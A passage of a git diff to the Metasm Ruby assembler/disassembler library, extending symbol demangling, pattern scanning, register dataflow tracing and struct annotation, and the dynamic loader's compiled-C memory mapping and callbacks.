+      ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float',
+      ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...'
+        }[name[0]]
+          name = name[1..-1]
+          ret << ty
+        else
+          fu = name[0, 2]
+          name = name[2..-1]
+          if op = {
+      'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]',
+      'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+',
+      'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|',
+      'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=',
+      'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>',
+      'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>',
+      'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++',
+      'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]',
+      'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof'
+          }[fu]
+            ret << "operator#{op}"
+          elsif fu == 'cv'
+            ret << "cast<"
+            decode_tok[]
+            ret << ">" if ret
+          else
+            ret = nil
+          end
         end
       end
+      name ||= ''
+    }
+
+    decode_tok[]
+    subs.pop
+    if ret and name != ''
+      ret << '('
+      decode_tok[]
+      while ret and name != ''
+        ret << ', '
+        decode_tok[]
+      end
+      ret << ')' if ret
     end
-    # TODO
     ret
   end
 
@@ -755,7 +914,8 @@ class Disassembler
   # return/yields all the addresses matching
   # if yield returns nil/false, do not include the addr in the final result
   # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM)
-  def pattern_scan(pat, chunksz=nil, margin=nil)
+  # with addr_start/length, symbol-based section are skipped
+  def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b)
     chunksz ||= 4*1024*1024	# scan 4MB at a time
     margin ||= 65536	# add this much bytes at each chunk to find /pat/ over chunk boundaries
 
@@ -763,9 +923,27 @@ class Disassembler
 
     found = []
     @sections.each { |sec_addr, e|
+      if addr_start
+        length ||= 0x1000_0000
+        begin
+          if sec_addr < addr_start
+            next if sec_addr+e.length <= addr_start
+            e = e[addr_start-sec_addr, e.length]
+            sec_addr = addr_start
+          end
+          if sec_addr+e.length > addr_start+length
+            next if sec_addr > addr_start+length
+            e = e[0, sec_addr+e.length-(addr_start+length)]
+          end
+        rescue
+          puts $!, $!.message, $!.backtrace if $DEBUG
+          # catch arithmetic error with symbol-based section
+          next
+        end
+      end
       e.pattern_scan(pat, chunksz, margin) { |eo|
         match_addr = sec_addr + eo
-          found << match_addr if not block_given? or yield(match_addr)
+        found << match_addr if not b or b.call(match_addr)
         false
       }
     }
@@ -773,14 +951,14 @@ class Disassembler
   end
 
   # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/
-  def strings_scan(minlen=6)
+  def strings_scan(minlen=6, &b)
     ret = []
     nexto = 0
-    pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
+    pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
       if o - nexto > 0
         next unless e = get_edata_at(o)
-        str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
-        ret << [o, str] if not block_given? or yield(o, str)
+        str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
+        ret << [o, str] if not b or b.call(o, str)
         nexto = o + str.length
       end
     }
@@ -805,18 +983,23 @@ class Disassembler
   def load_map(str, off=0)
     str = File.read(str) rescue nil if not str.index("\n")
     sks = @sections.keys.sort
+    seen = {}
     str.each_line { |l|
       case l.strip
       when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i	# kernel.map style
-        set_label_at($1.to_i(16)+off, $3)
+        addr = $1.to_i(16)+off
+        set_label_at(addr, $3, false, !seen[addr])
+        seen[addr] = true
       when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i	# IDA style
         # we do not have section load order, let's just hope that the addresses are sorted (and sortable..)
         #  could check the 1st part of the file, with section sizes, but it is not very convenient
         # the regexp is so that we skip the 1st part with section descriptions
         # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index
-        set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3)
+        addr = sks[$1.to_i(16)] + $2.to_i(16) + off
+        set_label_at(addr, $3, false, !seen[addr])
+        seen[addr] = true
       end
-                }
+    }
   end
 
   # saves the dasm state in a file
@@ -830,13 +1013,14 @@ class Disassembler
   def save_io(fd)
     fd.puts 'Metasm.dasm'
 
-    if @program.filename
+    if @program.filename and not @program.kind_of?(Shellcode)
       t = @program.filename.to_s
       fd.puts "binarypath #{t.length}", t
     else
       t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}"
       fd.puts "cpu #{t.length}", t
       # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE
+      # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice
     end
 
     @sections.each { |a, e|
@@ -942,6 +1126,7 @@ class Disassembler
         reinitialize Shellcode.new(cpu)
         @program.disassembler = self
         @program.init_disassembler
+        @sections.delete(0)	# rm empty section at 0, other real 'section' follow
       when 'section'
         info = data[0, data.index("\n") || data.length]
         data = data[info.length, data.length]
@@ -1030,7 +1215,7 @@ class Disassembler
             len = (len != '' ? len.to_i : nil)
             o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil)	# :default/:unknown ?
             add_xref(a, Xref.new(t, o, len))
-          rescue 
+          rescue
             puts "load: bad xref #{l.inspect} #$!" if $VERBOSE
           end
         }
@@ -1104,12 +1289,354 @@ class Disassembler
     delta
   end
 
+  # dataflow method
+  # walks a function, starting at addr
+  # follows the usage of registers, computing the evolution from the value they had at start_addr
+  # whenever an instruction references the register (or anything derived from it),
+  #  yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of
+  #  the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value
+  #  not yet applied)
+  #  reg_value may be nil if used_register is not modified by the function (eg call [eax])
+  #  the yield return value is propagated, unless it is nil/false
+  # init_state is a hash { :reg => initial value }
+  def trace_function_register(start_addr, init_state)
+    function_walk(start_addr, init_state) { |args|
+      trace_state = args.last
+      case args.first
+      when :di
+        di = args[2]
+        update = {}
+        get_fwdemu_binding(di).each { |r, v|
+          if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] }
+            # XXX may mix old (from trace) and current (from v) registers
+            newv = v.bind(trace_state)
+            update[r] = yield(di, r, newv, trace_state)
+          elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] }
+            # reg dereferenced in a write (eg mov [esp], 42)
+            next if update.has_key?(rr)	# already yielded
+            if yield(di, rr, trace_state[rr], trace_state) == false
+              update[rr] = false
+            end
+          elsif trace_state[r]
+            # started on mov reg, foo
+            next if di.address == start_addr
+            update[r] = false
+          end
+        }
+
+        # directly walk the instruction argument list for registers not appearing in the binding
+        @cpu.instr_args_memoryptr(di).each { |ind|
+          b = @cpu.instr_args_memoryptr_getbase(ind)
+          if b and b = b.symbolic and not update.has_key?(b)
+            yield(di, b, nil, trace_state)
+          end
+        }
+        @cpu.instr_args_regs(di).each { |r|
+          r = r.symbolic
+          if not update.has_key?(r)
+            yield(di, r, nil, trace_state)
+          end
+        }
+
+        update.each { |r, v|
+          trace_state = trace_state.dup
+          if v
+            # cannot follow non-registers, or we would have to emulate every single
+            # instruction (try following [esp+4] across a __stdcall..)
+            trace_state[r] = v if r.kind_of?(::Symbol)
+          else
+            trace_state.delete r
+          end
+        }
+      when :subfunc
+        faddr = args[1]
+        f = @function[faddr]
+        f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk]
+        if f
+          binding = f.backtrace_binding
+          if binding.empty?
+            backtrace_update_function_binding(faddr)
+            binding = f.backtrace_binding
+          end
+          # XXX fwdemu_binding ?
+          binding.each { |r, v|
+            if v.externals.find { |e| trace_state[e] }
+              if r.kind_of?(::Symbol)
+                trace_state = trace_state.dup
+                trace_state[r] = Expression[v.bind(trace_state)].reduce
+              end
+            elsif trace_state[r]
+              trace_state = trace_state.dup
+              trace_state.delete r
+            end
+          }
+        end
+      when :merge
+        # when merging paths, keep the smallest common state subset
+        # XXX may have unexplored froms
+        conflicts = args[2]
+        trace_state = trace_state.dup
+        conflicts.each { |addr, st|
+          trace_state.delete_if { |k, v| st[k] != v }
+        }
+      end
+      trace_state = false if trace_state.empty?
+      trace_state
+    }
+  end
+
+  # define a register as a pointer to a structure
+  # rename all [reg+off] as [reg+struct.member] in current function
+  # also trace assignments of pointer members
+  def trace_update_reg_structptr(addr, reg, structname, structoff=0)
+    sname = soff = ctx = nil
+    expr_to_sname = lambda { |expr|
+      if not expr.kind_of?(Expression) or expr.op != :+
+        sname = nil
+        next
+      end
+
+      sname = expr.lexpr || expr.rexpr
+      soff = (expr.lexpr ? expr.rexpr : 0)
+
+      if soff.kind_of?(Expression)
+        # ignore index in ptr array
+        if soff.op == :* and soff.lexpr == @cpu.size/8
+          soff = 0
+        elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8
+          soff = soff.lexpr
+        elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8
+          soff = soff.rexpr
+        end
+      elsif soff.kind_of?(::Symbol)
+        # array with 1 byte elements / pre-scaled idx?
+        if not ctx[soff]
+          soff = 0
+        end
+      end
+    }
+
+    lastdi = nil
+    trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace|
+
+      next if r.to_s =~ /flag/	# XXX maybe too ia32-specific?
+
+      ctx = trace
+      @cpu.instr_args_memoryptr(di).each { |ind|
+        # find the structure dereference in di
+        b = @cpu.instr_args_memoryptr_getbase(ind)
+        b = b.symbolic if b
+        next unless trace[b]
+        imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0
+
+        # check expr has the form 'traced_struct_reg + off'
+        expr_to_sname[trace[b] + imm]	# Expr#+ calls Expr#reduce
+        next unless sname.kind_of?(::String) and soff.kind_of?(::Integer)
+        next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union)
+
+        # ignore lea esi, [esi+0]
+        next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 }
+
+        # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly
+
+        # resolve struct + off into struct.membername
+        str = st.name.dup
+        mb = st.expand_member_offset(c_parser, soff, str)
+        # patch di
+        imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString)
+        imm = imm.expr if imm.kind_of?(ExpressionString)
+        @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff))
+
+        # check if the type is an enum/bitfield, patch instruction immediates
+        trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb
+      } if lastdi != di.address
+      lastdi = di.address
+
+      next Expression[structname, :+, structoff] if di.address == addr and r == reg
+
+      # check if we need to trace 'r' further
+      val = val.reduce_rec if val.kind_of?(Expression)
+      val = Expression[val] if val.kind_of?(::String)
+      case val
+      when Expression
+        # only trace trivial structptr+off expressions
+        expr_to_sname[val]
+        if sname.kind_of?(::String) and soff.kind_of?(::Integer)
+          Expression[sname, :+, soff]
+        end
+
+      when Indirection
+        # di is mov reg, [ptr+struct.offset]
+        # check if the target member is a pointer to a struct, if so, trace it
+        expr_to_sname[val.pointer.reduce]
+
+        next unless sname.kind_of?(::String) and soff.kind_of?(::Integer)
+
+        if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union)
+          pt = st.expand_member_offset(c_parser, soff, '')
+          pt = pt.untypedef if pt
+          if pt.kind_of?(C::Pointer)
+            tt = pt.type.untypedef
+            stars = ''
+            while tt.kind_of?(C::Pointer)
+              stars << '*'
+              tt = tt.type.untypedef
+            end
+            if tt.kind_of?(C::Union) and tt.name
+              Expression[tt.name + stars]
+            end
+          end
+
+        elsif soff == 0 and sname[-1] == ?*
+          # XXX pointer to pointer to struct
+          # full C type support would be better, but harder to fit in an Expr
+          Expression[sname[0...-1]]
+        end
+      # in other cases, stop trace
+      end
+    }
+  end
+
+  # found a special member of a struct, check if we can apply
+  # bitfield/enum name to other constants in the di
+  def trace_update_reg_structptr_arg_enum(di, ind, mb, str)
+    if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum)
+      # handle enums: struct moo { int __attribute__((enum(bla))) fld; };
+      doit = lambda { |_di|
+        if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer)
+          # handle enum values on tagged structs
+          if enum.members and name = enum.members.index(num_i)
+            num.lexpr = nil
+            num.op = :+
+            num.rexpr = ExpressionString.new(Expression[num_i], name, :enum)
+            _di.add_comment "enum::#{ename}" if _di.address != di.address
+          end
+        end
+      }
+
+      doit[di]
+
+      # mov eax, [ptr+struct.enumfield]  =>  trace eax
+      if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 }
+        reg = reg.symbolic
+        trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace|
+          next if r != reg and val != Expression[reg]
+          doit[_di]
+          val
+        }
+      end
+
+    elsif mb.untypedef.kind_of?(C::Struct)
+      # handle bitfields
+
+      byte_off = 0
+      if str =~ /\+(\d+)$/
+        # test byte [bitfield+1], 0x1  =>  test dword [bitfield], 0x100
+        # XXX little-endian only
+        byte_off = $1.to_i
+        str[/\+\d+$/] = ''
+      end
+      cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1
+
+      doit = lambda { |_di, add|
+        if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer)
+          # TODO handle ~num_i
+          num_left = num_i << add
+          s_or = []
+          mb.untypedef.members.each { |mm|
+            if bo = mb.bitoffsetof(c_parser, mm)
+              boff, blen = bo
+              if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0
+                s_or << mm.name
+                num_left &= ~(1 << boff)
+              end
+            end
+          }
+          if s_or.first
+            if num_left != 0
+              s_or << ('0x%X' % num_left)
+            end
+            s = s_or.join('|')
+            num.lexpr = nil
+            num.op = :+
+            num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield)
+            _di.add_comment cmt if _di.address != di.address
+          end
+        end
+      }
+
+      doit[di, byte_off*8]
+
+      if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 }
+        reg = reg.symbolic
+        trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace|
+          if r.kind_of?(Expression) and r.op == :&
+                 if r.lexpr == reg
+                   # test al, 42
+                   doit[_di, byte_off*8]
+                 elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg
+                   # test ah, 42
+                   doit[_di, byte_off*8+r.lexpr.rexpr]
+                 end
+          end
+          next if r != reg and val != Expression[reg]
+          doit[_di, byte_off*8]
+          _di.address == di.address && r == reg ? Expression[0] : val
+        }
+      end
+    end
+  end
+
   # change Expression display mode for current object o to display integers as char constants
   def toggle_expr_char(o)
-    return if not o.kind_of? Renderable
+    return if not o.kind_of?(Renderable)
+    tochars = lambda { |v|
+      if v.kind_of?(::Integer)
+        a = []
+        vv = v.abs
+        a << (vv & 0xff)
+        vv >>= 8
+        while vv > 0
+          a << (vv & 0xff)
+          vv >>= 8
+        end
+        if a.all? { |b| b < 0x7f }
+          s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1]
+          ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char)
+        end
+      end
+    }
     o.each_expr { |e|
-      e.render_info ||= {}
-      e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness
+      if e.kind_of?(Expression)
+        if nr = tochars[e.rexpr]
+          e.rexpr = nr
+        elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char
+          e.rexpr = e.rexpr.expr
+        end
+        if nl = tochars[e.lexpr]
+          e.lexpr = nl
+        elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char
+          e.lexpr = e.lexpr.expr
+        end
+      end
+    }
+  end
+
+  def toggle_expr_dec(o)
+    return if not o.kind_of?(Renderable)
+    o.each_expr { |e|
+      if e.kind_of?(Expression)
+        if e.rexpr.kind_of?(::Integer)
+          e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal)
+        elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal
+          e.rexpr = e.rexpr.reduce
+        end
+        if e.lexpr.kind_of?(::Integer)
+          e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal)
+        elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal
+          e.lexpr = e.lexpr.reduce
+        end
+      end
     }
   end
 
@@ -1118,6 +1645,7 @@ class Disassembler
   def toggle_expr_offset(o)
     return if not o.kind_of? Renderable
     o.each_expr { |e|
+      next unless e.kind_of?(Expression)
       if n = @prog_binding[e.lexpr]
         e.lexpr = n
       elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr)
@@ -1133,6 +1661,15 @@ class Disassembler
     }
   end
 
+  # toggle all ExpressionStrings
+  def toggle_expr_str(o)
+    return if not o.kind_of?(Renderable)
+    o.each_expr { |e|
+      next unless e.kind_of?(ExpressionString)
+      e.hide_str = !e.hide_str
+    }
+  end
+
   # call this function on a function entrypoint if the function is in fact a __noreturn
   # will cut the to_subfuncret of callers
   def fix_noreturn(o)
@@ -1184,7 +1721,7 @@ class Disassembler
   #  searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd
   def load_plugin(plugin_filename)
     if not File.exist?(plugin_filename)
- 			if File.exist?(plugin_filename+'.rb')
+      if File.exist?(plugin_filename+'.rb')
         plugin_filename += '.rb'
       elsif defined? Metasmdir
         # try autocomplete
@@ -1225,7 +1762,7 @@ class Disassembler
     if bd2.kind_of? DecodedInstruction
       bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2)
     end
-    
+
     reduce = lambda { |e| Expression[Expression[e].reduce] }
 
     bd = {}
@@ -1276,5 +1813,31 @@ class Disassembler
 
     bd
   end
+
+  def gui_hilight_word_regexp(word)
+    @cpu.gui_hilight_word_regexp(word)
+  end
+
+  # return a C::AllocCStruct from c_parser
+  # TODO handle program.class::Header.to_c_struct
+  def decode_c_struct(structname, addr)
+    if c_parser and edata = get_edata_at(addr)
+      c_parser.decode_c_struct(structname, edata.data, edata.ptr)
+    end
+  end
+
+  def decode_c_ary(structname, addr, len)
+    if c_parser and edata = get_edata_at(addr)
+      c_parser.decode_c_ary(structname, len, edata.data, edata.ptr)
+    end
+  end
+
+  # find the function containing addr, and find & rename stack vars in it
+  def name_local_vars(addr)
+    if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr)
+      @function[faddr] ||= DecodedFunction.new	# XXX
+      @cpu.name_local_vars(self, faddr)
+    end
+  end
 end
 end
diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb
index 38af7becc7..67ef531509 100644
--- a/lib/metasm/metasm/dynldr.rb
+++ b/lib/metasm/metasm/dynldr.rb
@@ -52,15 +52,17 @@ extern VALUE *rb_cObject __attribute__((import));
 extern VALUE *rb_eRuntimeError __attribute__((import));
 extern VALUE *rb_eArgError __attribute__((import));
 
-#define Qfalse ((VALUE)0)
-#define Qtrue  ((VALUE)2)
-#define Qnil   ((VALUE)4)
-
 // allows generating a ruby1.9 dynldr.so from ruby1.8
 #ifndef DYNLDR_RUBY_19
 #define DYNLDR_RUBY_19 #{RUBY_VERSION >= '1.9' ? 1 : 0}
 #endif
 
+#if #{RUBY_VERSION >= '2.0' ? 1 : 0}
+// flonums. WHY?
+// also breaks Qtrue/Qnil
+#define rb_float_new rb_float_new_in_heap
+#endif
+
 #if DYNLDR_RUBY_19
  #define T_STRING 0x05
  #define T_ARRAY  0x07
@@ -163,7 +165,7 @@ static VALUE memory_write(VALUE self, VALUE addr, VALUE val)
 static VALUE memory_write_int(VALUE self, VALUE addr, VALUE val)
 {
   *(uintptr_t *)VAL2INT(addr) = VAL2INT(val);
-  return Qtrue;
+  return 1;
 }
 
 static VALUE str_ptr(VALUE self, VALUE str)
@@ -200,7 +202,7 @@ static VALUE sym_addr(VALUE self, VALUE lib, VALUE func)
 
   if (TYPE(func) != T_STRING && TYPE(func) != T_FIXNUM)
     rb_raise(*rb_eArgError, "Invalid func");
-  
+
   if (TYPE(func) == T_FIXNUM)
     p = os_load_sym_ord(h, VAL2INT(func));
   else
@@ -224,7 +226,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags)
 {
   if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 64)
     rb_raise(*rb_eArgError, "bad args");
-  
+
   uintptr_t flags_v = VAL2INT(flags);
   uintptr_t ptr_v = VAL2INT(ptr);
   unsigned i, argsz;
@@ -241,7 +243,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags)
     ret = do_invoke_stdcall(ptr_v, argsz, args_c);
   else
     ret = do_invoke(ptr_v, argsz, args_c);
-  
+
   if (flags_v & 4)
     return rb_ull2inum((unsigned __int64)ret);
   else if (flags_v & 8)
@@ -257,23 +259,27 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags)
 // callback generated by callback_alloc
 // heavy stack magick at work here !
 // TODO float args / float retval / ret __int64
-uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0)
+uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0, uintptr_t arg_ecx __attribute__((register(ecx))), uintptr_t arg_edx __attribute__((register(edx))))
 {
   uintptr_t *addr = &arg0;
   unsigned i, ret;
-  VALUE args = rb_ary_new2(8);
+  VALUE args = rb_ary_new2(10);
+
+  // __fastcall callback args
+  ARY_PTR(args)[0] = INT2VAL(arg_ecx);
+  ARY_PTR(args)[1] = INT2VAL(arg_edx);
 
   // copy our args to a ruby-accessible buffer
-  for (i=0U ; i<8U ; ++i)
+  for (i=2U ; i<10U ; ++i)
     ARY_PTR(args)[i] = INT2VAL(*addr++);
-  RArray(args)->len = 8U;	// len == 8, no need to ARY_LEN/EMBED stuff
+  RArray(args)->len = 10U;	// len == 10, no need to ARY_LEN/EMBED stuff
 
   ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args);
 
   // dynldr.callback will give us the arity (in bytes) of the callback in args[0]
   // we just put the stack lifting offset in caller_id for the asm stub to use
   caller_id = VAL2INT(ARY_PTR(args)[0]);
-  
+
   return VAL2INT(ret);
 }
 
@@ -290,7 +296,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags)
 {
   if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16)
     rb_raise(*rb_eArgError, "bad args");
-  
+
   uintptr_t flags_v = VAL2INT(flags);
   uintptr_t ptr_v = VAL2INT(ptr);
   int i, argsz;
@@ -312,7 +318,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags)
           args_c[4],  args_c[5],  args_c[6],  args_c[7],
           args_c[8],  args_c[9],  args_c[10], args_c[11],
           args_c[12], args_c[13], args_c[14], args_c[15]);
-  
+
   if (flags_v & 8)
     return rb_float_new(fake_float());
 
@@ -379,8 +385,7 @@ static void *wstrcaseruby(short *s1, int len)
 {
   int i = 0;
   int match = 0;
-
-  static char *want = "ruby";	// cant contain the same letter twice
+  char *want = "ruby";	// cant contain the same letter twice
 
   while (i < len) {
     if (want[match] == (s1[i] | 0x20)) {	// downcase cmp
@@ -474,11 +479,11 @@ int load_ruby_imports(uintptr_t rbaddr)
   if (rbaddr)
     ruby_module = find_ruby_module_mem(rbaddr);
   else
-     ruby_module = find_ruby_module_peb();
+    ruby_module = find_ruby_module_peb();
 
   if (!ruby_module)
     return 0;
-  
+
   ptr = &ruby_import_table;
   table = (char*)ptr;
 
@@ -494,7 +499,7 @@ int load_ruby_imports(uintptr_t rbaddr)
 
 #ifdef __x86_64__
 #define DLL_PROCESS_ATTACH 1
-__stdcall int DllMain(void *handle, int reason, void *res)
+int DllMain(void *handle, int reason, void *res)
 {
   if (reason == DLL_PROCESS_ATTACH)
     return load_ruby_imports(0);
@@ -509,7 +514,7 @@ EOS
 do_invoke_fastcall:
   push ebp
   mov ebp, esp
-  
+
   // load ecx/edx, fix arg/argcount
   mov eax, [ebp+16]
   mov ecx, [eax]
@@ -627,7 +632,7 @@ EOS
     # save the shared library
     bin.encode_file(modulename, :lib)
   end
-  
+
   def self.compile_binary_module_hack(bin)
     # this is a hack
     # we need the module to use ruby symbols
@@ -765,7 +770,7 @@ EOS
     else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}"
     end
   end
-  
+
   # returns whether we run on linux or windows
   def self.host_arch
     case RUBY_PLATFORM
@@ -788,16 +793,73 @@ EOS
     cp.parse(src)
   end
 
-  # compile a C fragment into a Shellcode, honors the host ABI
+  # compile a C fragment into a Shellcode_RWX, honors the host ABI
   def self.compile_c(src)
     # XXX could we reuse self.cp ? (for its macros etc)
     cp = C::Parser.new(host_exe.new(host_cpu))
     cp.parse(src)
-    sc = Shellcode.new(host_cpu)
+    sc = Shellcode_RWX.new(host_cpu)
     asm = host_cpu.new_ccompiler(cp, sc).compile
     sc.assemble(asm)
   end
 
+  # maps a Shellcode_RWX in memory, fixup stdlib relocations
+  # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory
+  def self.sc_map_resolve(sc)
+    sc_map_resolve_addthunks(sc)
+
+    sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0
+    sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0
+    sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0
+
+    locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys
+    exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals)
+    bd = {}
+    exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" }
+    sc.fixup_check(bd)
+
+    memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0
+    memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0
+    memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0
+
+    memory_perm sc.base_r, sc.encoded_r.length, 'r'  if sc.encoded_r.length > 0
+    memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0
+    memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0
+
+    sc
+  end
+
+  def self.sc_map_resolve_addthunks(sc)
+    case host_cpu.shortname
+    when 'x64'
+      # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]'
+      # this is similar to ELF PLT section, allowing code to call
+      # into a library mapped more than 4G away
+      # XXX handles only 'call extern', not 'lea reg, extern' or anything else
+      # in this case, the linker will still raise an 'immediate overflow'
+      # during fixup_check in sc_map_resolve
+      [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata|
+        edata.reloc.dup.each { |off, rel|
+          # target only call extern / jmp.i32 extern
+          next if rel.type != :i32
+          next if rel.target.op != :-
+          next if edata.export[rel.target.rexpr] != off+4
+          next if edata.export[rel.target.lexpr]
+          opc = edata.data[off-1, 1].unpack('C')[0]
+          next if opc != 0xe8 and opc != 0xe9
+
+          thunk_sc = Shellcode.new(host_cpu).share_namespace(sc)
+          thunk = thunk_sc.assemble(<<EOS).encoded
+1: jmp qword [rip]
+dq #{rel.target.lexpr}
+EOS
+          edata << thunk
+          rel.target.lexpr = thunk.inv_export[0]
+        }
+      }
+    end
+  end
+
   # retrieve the library where a symbol is to be found (uses AutoImport)
   def self.lib_from_sym(symname)
     case host_arch
@@ -821,7 +883,7 @@ EOS
       cp.toplevel.symbol.delete v.name
       lib = fromlib || lib_from_sym(v.name)
       addr = sym_addr(lib, v.name)
-             if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff
+      if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff
         api_not_found(lib, v)
         next
       end
@@ -912,11 +974,11 @@ EOS
     flags |= 4 if proto.type.type.integral? and cp.sizeof(nil, proto.type.type) == 8
     flags |= 8 if proto.type.type.float?
     class << self ; self ; end.send(:define_method, name) { |*a|
-      raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.length}" if a.length != proto.type.args.length and not proto.type.varargs
+      raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.to_a.length}" if a.length != proto.type.args.to_a.length and not proto.type.varargs
 
       # convert the arglist suitably for raw_invoke
       auto_cb = []	# list of automatic C callbacks generated from lambdas
-      a = a.zip(proto.type.args).map { |ra, fa|
+      a = a.zip(proto.type.args.to_a).map { |ra, fa|
         aa = convert_rb2c(fa, ra, :cb_list => auto_cb)
         if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32
